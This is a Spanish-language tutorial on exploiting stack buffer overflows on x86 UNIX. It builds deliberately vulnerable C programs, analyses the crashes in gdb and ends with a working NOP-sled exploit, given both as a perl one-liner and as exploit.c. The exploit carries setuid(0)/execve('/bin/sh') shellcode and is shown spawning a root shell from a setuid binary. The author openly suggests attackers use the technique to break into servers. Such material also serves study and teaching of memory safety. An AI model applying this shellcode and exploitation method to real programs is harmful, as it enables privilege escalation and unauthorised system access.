Explotando stack overflows en UNIX x86 Por dex (dex@raza-mexicana.org) 1. Introducción A lo largo del tiempo, se han publicado muchos textos sobre como explotar buffer overflows en el stack, pero la mayoría son en otros lenguajes, como ingles, portugués, alemán, etc. En este texto pretendo ayudar a las personas a comprender como se explotan los stack overflows, aunque no incluiré ayuda de como hacer shellcodes, incluiré técnicas de explotación, que es lo que la gente necesita primero. Al igual, no creo que este texto sea el texto mas "Para novatos" que se pueda encontrar, ya que usa tal vez muchos tecnicismos y es posible que muchas personas se confundan. Para poder comprender a la perfección este articulo, recomiendo que el lector tenga una idea sobre el lenguaje ensamblador, sobre como funciona el stack, la memoria, conocimientos sobre el lenguaje C, UNIX, conocimientos sobre como funcionan los números hexadecimales y el uso de gdb. Nota: No pretendo que este articulo sea uno mas de los 250 que hay, sino que pretendo que la gente mexicana se digne a leerlo, ya que mucha gente pregunta como, por algunas razones como que no logran entender los textos en ingles, o porque simplemente son demasiado técnicos y/o avanzados. 2. Primeros pasos En este punto pretendo darle a conocer al lector todas las ideas básicas sobre un stack overflow, primero que nada. 2.1 Que es un stack overflow? Un stack overflow es un bug de seguridad que se ocasiona porque el programador no presto atención o no se dio cuenta que la gente podía pasar mas información de la que en su variable cabía. En si los buffer overflows fueron descubiertos a principios de los ochenta, pero no fue hasta 1988 cuando el worm de Internet llamado "morris" le informo del peligro de estos errores de seguridad a la gente. Ahora, para las personas que no entendieron esto ultimo, les daré un ejemplo claro sin tecnicismos: Que pasa cuando una persona compra una jarra con capacidad de 1 litro pero le quiere meter 2 litros?, la respuesta es muy obvia, el liquido se desborda, es exactamente lo mismo que pasa aquí, pero relacionado con la computación puede causar cosas muy interesantes :) 2.2 Y a mí de que me sirve todo esto? Has oído en las noticias alguna vez algo como esto?: 1. "El nuevo worm masivo Tal.tal.e se aprovecha de un fallo de programación en Microsoft IIS para pasar a través de los servidores e infectarlos". 2. "El bug de seguridad anunciado por empresa Patito ha causado que un joven de 17 a~os creara una utilidad para pasar a través de los servidores de la NASA utilizando este mismo fallo, y así controlando toda la red y causando perdidas de dinero masivas". Pues si, en muchos casos todos estos errores son explotables, y en muchos casos estos errores son stack overflows (Me atrevería a decir que en la mayoría). Vamonos a un termino mas "Underground": Alguna vez has bajado un exploit de tu sitio favorito y te pusiste a jugar con el?, si el bug de seguridad que este mismo explotaba era un stack overflow, entonces ahora puedes saber como explotarlos. 2.3 Entonces si yo busco en securityfocus un bug por un stack overflow puedo utilizarlo y controlar todos los servidores de Internet? Obviamente no, pero si la empresa en la que trabajas tiene un error asi, puedes darte el lujo de explotar este fallo para ver que tan lejos puede llegar un atacante, o si eres un atacante, entonces puedes utilizarlo para entrar a ese servidor que tanto tiempo has querido entrar. 3 Entremos a la practica. Un ejemplo de un código con un bug de este tipo podría ser así: ------------------------------------------------- #include #include int main(void) { char buf[8], as[25]; memset(as, 'A', sizeof(as)-1); as[24]=0; strcpy(buf, as); return 0; } -------------------------------------------------- Analicemos este código: 1. Declaramos dos chars, uno llamado buf, y otro llamado as, este ultimo 17 bytes mas grande. 2. copiamos a as 24 veces 'A' 3. Copiamos as a buf 4. Retornamos 0. Nota: este ejemplo no es explotable, ya que nosotros no podemos controlar lo que hay en as. Alguien ya vio el bug?, es un poquito obvio no? Para los que no lo han visto, el bug aquí se encuentra entre el punto 1 y el 3, estamos copiando as a buf, pero el problema es que en buf no va a caber lo que hay en as, ya que as tiene mas información de la que le cabe a a buf. (Espero no haber confundido a nadie). Ejecutémoslo, a ver que pasa: sh-2.04$ ./bug1 Segmentation fault (core dumped) sh-2.04$ 3.1. Porque pasa esto?, porque el programa lanza un segmentation fault? Ok ok, espero que el lector ya haya comprendido porque es ocasionado esto, pero ahora se preguntaran, "Y a donde se van esos 16 bytes de mas que se copian?" Aquí viene la parte mas importante de porque son explotables estos bugs. Lo que pasa es que tenemos esto: ------------------------------------------------------------------------- 1. | as |AAAAAAAAAAAAAAAAAAAAAAAA| 2. | buf | | | BUF | EBP | EIP | ------------------------------------------------------------------------- - as contiene 24 Ases - buf no contiene nada. - EBP tiene por ejemplo 0xbffff058 - EIP tiene por ejemplo 0xbffff37e después de copiar as a buf: ------------------------------------------------------------------------- 1. | as |AAAAAAAAAAAAAAAAAAAAAAAA| 2. | buf |AAAAAAAAA| AAAAAAAAAAAAAA Las demás Ases caen en EBP y EIP | BUF | EBP | EIP | ------------------------------------------------------------------------- - as contiene 24 Ases - buf contiene 10 Ases - EBP tiene 0x41414141 - EIP tiene 0x41414141 A donde se van este montón de Ases afuera del contexto?, es fácil, se van a los registros EBP y EIP, el registro EBP es el Frame pointer, pero no es el que nos importa, el que nos importa en este momento es EIP, que contiene la dirección de la instrucción que el programa va a regresar al final del programa. EBP y EIP cambiaron de uno a otro ya que cuando en buf no hubo cupo para las demás Ases, se pasaron del contexto y fueron a sobrescribir estos dos registros, (como ya deberíamos saber, cada dirección de memoria es de 4 bytes), y específicamente cambio por 0x41414141 las dos ya que en hexadecimal 0x41 es A, y como las direcciones son de 4 bytes, entonces valen 0x41414141 (AAAA), para dejar mas en claro esto ultimo, si hubiéramos puesto en as 'B' en lugar de 'A' EBP y EIP hubieran cambiado por 0x42424242, 'C' en lugar de 'A', EBP y EIP serian 0x43434343, y así... Por esto mismo el programa truena, ya que como EIP tiene de dirección 0x41414141, cuando termina trata de ejecutar lo que hay en esta dirección, y al no existir, y obviamente no tener nada, el programa lanza segmentation fault (SIGSEGV). Para comprobar esto ultimo, lo único que necesitamos es usar un debugger, en este caso gdb (GNU Debugger): ------------------------------------------------------------------------- sh-2.04$ ./bug1 Segmentation fault (core dumped) sh-2.04$ gdb -q -c ./core Core was generated by `./bug1'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) info registers ebp eip ebp 0x41414141 0x41414141 eip 0x41414141 0x41414141 (gdb) x/x $ebp 0x41414141: Cannot access memory at address 0x41414141 (gdb) x/x $eip 0x41414141: Cannot access memory at address 0x41414141 (gdb) ------------------------------------------------------------------------- 3.2. - Shellcodes Un shellcode es una cadena de caracteres legible para el procesador que ejecutan una o mas instrucciones. Estoas instrucciones no los podemos pasar en texto plano, tenemos que indicarle a EIP donde se encuentra este código, primera, y segunda, este código debe ser un código entendible para nuestro procesador, para no darle mas vueltas, este tan llamado "código" es mejor conocido como shellcode, fue bautizado así porque los primeros shellcodes eran prácticamente lo único que hacían, lanzarte a una shell. En la actualidad hay exploits que utilizan desde los shellcodes mas simples hasta los mas complejos, desde los mas grandes hasta los mas chicos, usan criptografía, NOPS-free, shellcodes polimorficos, ofuscados, etc. 3.3. - Y para que nos sirve todo esto? La respuesta es simple, si en un programa normal nosotros tenemos control de la variable del stack que causa el buffer overflow, podemos poner en EIP la dirección de memoria de un shellcode que ejecute una instrucción que nosotros queramos. 4. Y empieza lo bueno... Bueno, si tienes dudas respecto a algo de lo anterior, te recomiendo que vuelvas a leer, ya que aquí viene una parte en la cual necesitas las bases que te mencione arriba, o mejor dicho, aquí viene la parte compleja :) Ya sabemos todo esto, pero como lo podemos reproducir de manera real?, bueno, primero que nada veamos bug2.c: ---------------------------------------------- #include #include int main(int argc, char **argv) { char buf[1024]; if(argc != 2) return 0; memset(buf, 0, sizeof(buf)); strcpy(buf, argv[1]); printf("Escribiste %s\n", buf); } ---------------------------------------------- Analicemos este programa: 1 - declara main con argumentos 2 - declara un char llamado buf de 1024 bytes 3 - si argc es diferente de dos, entonces retorna el programa (Si hay mas de un argumento, entonces cierra el programa) 4 - llena buf de ceros 5 - copia a buf el argumento 1 6 - dime lo que escribí Creo que el bug es mas claro aquí, el puntero de los argumentos, declarado como argv, no tiene limite, así que podemos desbordar buf pasando mas de 1024 bytes: ------------------------------------------------------------------------- ---------------------------------------------------------------------- shell$ gcc -o bug2 bug2.c shell$ ./bug2 "Hola, como estas, Mi nombre es dex." Escribiste Hola, como estas, Mi nombre es dex. shell$ ./bug2 `perl -e 'print "A"x"1032"'` Escribiste AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA Segmentation fault (Core dumped) shell$ ------------------------------------------------------------------------- ---------------------------------------------------------------------- Nota: en las nuevas versiones de gcc, cuando declaras un array, el compilador agrega 8 bytes mas para alinear y hacerlo mas rápido, así que en lugar de 8 bytes mas usaremos 16. Como podemos ver, el programa ha terminado anormalmente, pero lo interesante viene si miramos el core: ------------------------------------------------------------------------- shell$ gdb -q -c ./core Core was generated by `./bug2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' . Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) i r $eip eip 0x41414141 0x41414141 (gdb) i r $ebp ebp 0x41414141 0x41414141 (gdb) x/x $eip 0x41414141: Cannot access memory at address 0x41414141 (gdb) x/x $ebp 0x41414141: Cannot access memory at address 0x41414141 (gdb) ------------------------------------------------------------------------- Como podemos ver, ha pasado lo que mencionaba unos puntos atrás, el registro de la instrucción de retorno (eip) ha sido sobrescrito junto con el frame pointer (ebp) por 0x41414141 (AAAA (4 bytes)) Para hacer esto mas fácil de entender, hagamos que $eip apunte a 0x10111213 y $ebp apunte a 0x50505050: ------------------------------------------------------------------------- shell$ ./bug2 `perl -e 'print "A"x"1032"; print "\x50\x50\x50\x50"; print "\x13\x12\x11\x10"'` > /dev/null Segmentation fault (core dumped) shell$ gdb -q -c ./core Core was generated by `./bug2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' . Program terminated with signal 11, Segmentation fault. #0 0x10111213 in ?? () (gdb) i r ebp eip ebp 0x50505050 0x50505050 eip 0x10111213 0x10111213 (gdb) ------------------------------------------------------------------------- Esto tal vez este un poco confuso, lo voy a tratar de explicar. Lo primero que hacemos es llamar a bug2, y con ayuda de perl en el argumento 1 damos 1032 Ases y luego ponemos \x50\x50\x50\x50 que son 4 bytes, y se escribe como dirección de memoria, y luego escribimos \x13\x12\x11\x10. Quizás lo mas confuso aquí es esta ultima dirección, porque en el log sale como 0x10111213 si estamos escribiendo \x13\x12\x11\10?, bueno, esto es porque en arquitecturas little endian como lo es intel, cuando escribes una dirección en notación \x se tienen que escribir al revez, por ejemplo, si queremos escribir 0xdeadbeef en EIP tendríamos que poner \xef\xbe\xad\xde (Entendieron?) Ahora, porque ponemos 1032 Ases y luego 8 bytes mas? (\x13\x12\x11\x10 y \x50\x50\x50\x50) = 1040 si buf es de 1024?, bueno, ya lo había dicho en una nota anterior, en los gcc's nuevos tenemos que poner 8 bytes mas, ya que si declaras buf[10] el compilador va a hacer buf[18], por razones de alineamiento y velocidad, esto se puede medir simplemente fijandote con el comando "info registers ebp eip" en gdb para calcular. Bueno, ahora voy a poner un ejemplo de un shellcode: ------------------------------------------------------------------------- "\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80" "\x31\xdb\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07" "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb" "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; ------------------------------------------------------------------------- Este shellcode lo hace setuid(0); y luego ejecuta /bin/sh, mas o menos es para conseguir root en un exploit. Ahora, como podemos ver, este shellcode mide 65 bytes, así que como vamos a usar 1040 bytes menos 8 de las direcciones de memoria, menos 65 del shellcode, (1040 - 8 - 65 = 967) nos quedan 967 bytes libres... y... que podemos hacer con ellos?, no tiene caso dejarlos libres, así que los rellenaremos con NOPS, que es un NOP?, un NOP es una instrucción nula para el procesador, o mejor dicho, una instrucción para el procesador que no contiene ninguna función o valor, y por eso llenamos estos 967 bytes con NOPs, para que el procesador no haga nada si en la dirección que cae contiene en estos bytes y simplemente se salte a lo siguiente, en la arquitectura intel \x90 o 0x90 es el nop. Nota: Solo sobrescribimos EBP por si las dudas :) Ok, entonces tenemos esto: Buffer: 1040 bytes - Direcciones de memoria a sobrescribir: 8 bytes - Shellcode: 65 bytes - NOPS: 967 bytes buffer restante: 0 Woops!, ya llenamos todo el buffer, ya sabemos que hacer con los 967 bytes restantes, ya sabemos que shellcode usar, pero... QUE DIRECCIONES VAMOS A PONER? Bueno, hay una forma de hacerlo sacando la dirección automáticamente de %esp con una instrucción en ensamblador, que usan muchos exploits locales: ----------------------------------------------- void get_esp() { __asm__("movl %esp, %eax"); } ------------------------------------------------- Sin embargo, esta técnica no es completamente efectiva, y a mi en lo general no me gusta usarla, la mayoría de las personas la usan cuando van a publicar un exploit que funciona en diferentes binarios, porque si recordamos, si compilas un binario y luego lo vuelves a compilar, las direcciones del primero y del segundo van a ser diferentes. Asi que, que podemos hacer para sacar la dirección sin esta instrucción? Lo mas común es usar la dirección de %esp(Que es precisamente lo que hace esta función de ensamblador), si, pero a mi no se me hace muy bueno, ya que luego se tiene que estar haciendo bruteforce del offset, y/o a veces puede causar problemas con el alineamiento. Bruteforce: Un programa adicional que va probando dirección a dirección disminuyéndolas hasta que el exploit funciona Yo uso una técnica diferente, lo primero que hago es esto: ------------------------------------------------------------------------- sh-2.04$ ./bug2 `perl -e 'print "A"x"967"; print "B"x"65"; print "C"x"8";'` Escribiste AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBCCCCCCCC Segmentation fault (core dumped) sh-2.04$ ------------------------------------------------------------------------- Como vemos aquí: 1. Imprimimos 967 veces A (Como si fueran NOPS) 2. Imprimimos 65 veces B (Como si fuera el shellcode) 3. Imprimimos 8 veces C (como si fueran las dos direcciones de memoria) Y como vimos, son los 1040 bytes, esto lo hago para sacar directamente del core una dirección de memoria donde se encuentren los nops, en este caso 0x41414141 ya que solo estamos haciendo pruebas: ------------------------------------------------------------------------- sh-2.04$ gdb -q -c ./core Core was generated by `./bug2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' . Program terminated with signal 11, Segmentation fault. #0 0x43434343 in ?? () (gdb) set $p=0xbffff000 (gdb) while(*$p!=0x41414141) >set $p=$p+1 >end (gdb) x/10x $p 0xbffff340: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff350: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff360: 0x41414141 0x41414141 (gdb) ------------------------------------------------------------------------- Como podemos ver aquí, lo único que hice fue: 1. - declarar un puntero con la dirección 0xbffff000 2. - mientras lo contenido en la dirección de p fuera diferente a 0x41414141, aumento p uno Y como podemos ver, x/x $p (Que significa: Muéstrame lo que tiene $p!), o en este caso x/10x (Muéstrame 10 direcciones empezando por lo que contiene $p) Entonces, llegamos hasta donde estarían nuestros NOPs, ahora podemos usar cualquier dirección de por ahí, en este caso usemos 0xbffff350, como se ve en "0xbffff350: 0x41414141 0x41414141 0x41414141 0x41414141" Entonces, nuestro buffer quedaría así: |NOPS|SHELLCODE|0xbffff350|0xbffff350| o transformado a la realidad en perl: ------------------------------------------------------------------------- perl -e 'print "\x90"x"967"; print "\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80\x 31\xdb\x31\xc0\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\ x08\x31\xc0\x89\x46\x0c\x88\x46\x07\xb0\x0b\x89\xf3 \x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x4 0\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; print "\x50\xf3\xff\xbf"x"2"' ------------------------------------------------------------------------- Si lo despedazo podemos ver la información que contiene: ------------------------------------------------------------------------- NOPs: print "\x90"x"967" Shellcode: print "\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80\x31\xdb\x31\xc0\xb0\x17 \xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07\xb0\x0b\ x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\x dc\xff\xff\xff/bin/sh"; Direcciones: print "\x50\xf3\xff\xbf"x"2"' Total: 1040 bytes ------------------------------------------------------------------------- Ahora, que tal si probamos esto?: ------------------------------------------------------------------------- shellvieja$ sudo chown root.root ./bug2 shellvieja$ sudo chmod 4755 ./bug2 shellvieja$ ./bug2 `perl -e 'print "\x90"x"967"; print "\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80\x31\xdb\x31\xc0\xb0\x17 \xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07\xb0\x0b\ x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\x dc\xff\xff\xff/bin/sh"; print "\x50\xf3\xff\xbf"x"2"'` Escribiste sh-2.04# ------------------------------------------------------------------------- VOILA!, nos dio una shell nueva :) Entonces, en si el exploit es: ./bug2 `perl -e 'print "\x90"x"967"; print "\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80\x31\xdb\x31\xc0\xb0\x17 \xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07\xb0\x0b\ x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\x dc\xff\xff\xff/bin/sh"; print "\x50\xf3\xff\xbf"x"2"'` Que, nunca habías visto un exploit desde shell?, jejeje, Si lo hacemos en C es lo mismo, aunque no voy a explicar exactamente como funciona: ------------------------------------------------------------------------- shellvieja$ gcc -o exploit exploit.c shellvieja$ ./exploit Escribiste Í€1Û‰Ø@Í€èÜÿÿÿ/bin/shPóÿ¿Póÿ¿ sh-2.04$ ------------------------------------------------------------------------- ------------- Exploit.c: ------------------------------------------------ #include int main(void) { // Declaramos un puntero y usamos 1040 bytes para el char *buf = (char *)malloc(1040); // Declaramos shellcode char shellcode[]= "\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80" "\x31\xdb\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07" "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb" "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; // Declaramos la direccion del shellcode unsigned long direccion=0xbffff350; int i; // Llenamos de NOPS el buffer for(i=0;i<1040;i+=4) *(unsigned long *)&buf[i]=0x90909090; // Ponemos las dos direcciones en el buffer *(unsigned long *)&buf[1040 - 4]=direccion; *(unsigned long *)&buf[1040 - 8]=direccion; // Ponemos el shellcode en el buffer memcpy(buf + 1040 - strlen(shellcode) - 8, shellcode, strlen(shellcode)); // Ejecutamos ./bug2 execl("./bug2", "bug2", buf, NULL); return 0; } ------------------------------------------------------------------------- 4.1. Unas dos ultimas cosas para la gente que esta acostumbrada o ha oido hablar el align y/o el offset: Un offset en un exploit es un entero que disminuye la dirección dependiendo de su valor, por ejemplo, si la dirección del shellcode es 0xbffff022 y le doy de offset 1 entonces ahora la dirección será 0xbffff021, esto lo usa la gente para hacer bruteforce de la dirección de retorno, aunque yo no le veo el uso en un exploit local. El align es lo que el mismo nombre dice, alinea el buffer, como sabemos todas las direcciones de memoria y espacios son de 4 bytes, entonces si el buffer es de 1023 por ejemplo, muchas veces si usamos algún tipo de automatización para encontrar la dirección del shellcode puede que este quede desalineado, y necesitaríamos disminuir los NOPs, para que el buffer acabe siendo divisible de 4. 5. Referencias: 1. Smashing the Stack for fun and profit: http://www.phrack.com/show.php?p=49&a=14 2. Advanced buffer overflow exploits: http://ohhara.4dl.com/security/adv.txt 3. Pagina de juliano: http://community.core-sdi.com/~juliano/ 4. PA-RISC 1.1 Overflows: http://www.phrack.com/show.php?p=58&a=11 5. Exploiting Sparc Buffer overflows: http://genex.host.sk/textos/UNFsparc- overflow.txt 6. Ensamblador a 16 bits para nuevos: http://genex.host.sk/textos/asm.txt 7. w00w00 on Heap overflows: http://genex.host.sk/textos/heaptut.txt 8. Debugging with GDB: http://genex.host.sk/textos/gdb.txt 9. The Art of Writing Shellcode: http://genex.host.sk/textos/artshellcode. txt 10. Writing Buffer overflows with Perl: http://genex.host.sk/textos/bofswithperl. txt 11. Designing shellcode demystified: http://genex.host.sk/textos/scen. txt 12. buffer overflows en win32: http://genex.host.sk/textos/P55-15- win32_overflow-es.txt 13. IRIX/MIPS shellcode: http://genex.host.sk/textos/P56-15-mips-irixshellcode- 2.pdf 14. SPARC buffer overflows: http://genex.host.sk/textos/sparc-bofs.zip 15. Writing Suids (setuids): http://genex.host.sk/textos/writing-suids.ps 16. x86 registers: http://genex.host.sk/textos/x86regs.html 6. Despedida Bueno, este texto no es cosa del otro mundo, pero espero que mas o menos te haya adentrado un poquito y/o hecho en interesarte en este tema. Tratare de hacer una parte 2 para explicar todo lo que olvide y cosas que siguen, asi como ejemplos mas complejos. También espero que la gente haya entendido bien como funciona todo esto, ya que hacer un texto de esto no es tan fácil como lo creía :), espero que sea entendible y no confunda a nadie, les agradecería si me mandaran su opinión a mi mail. Dudas, mentadas de madre, o lo que sea mándame un mail a dex@razamexicana. org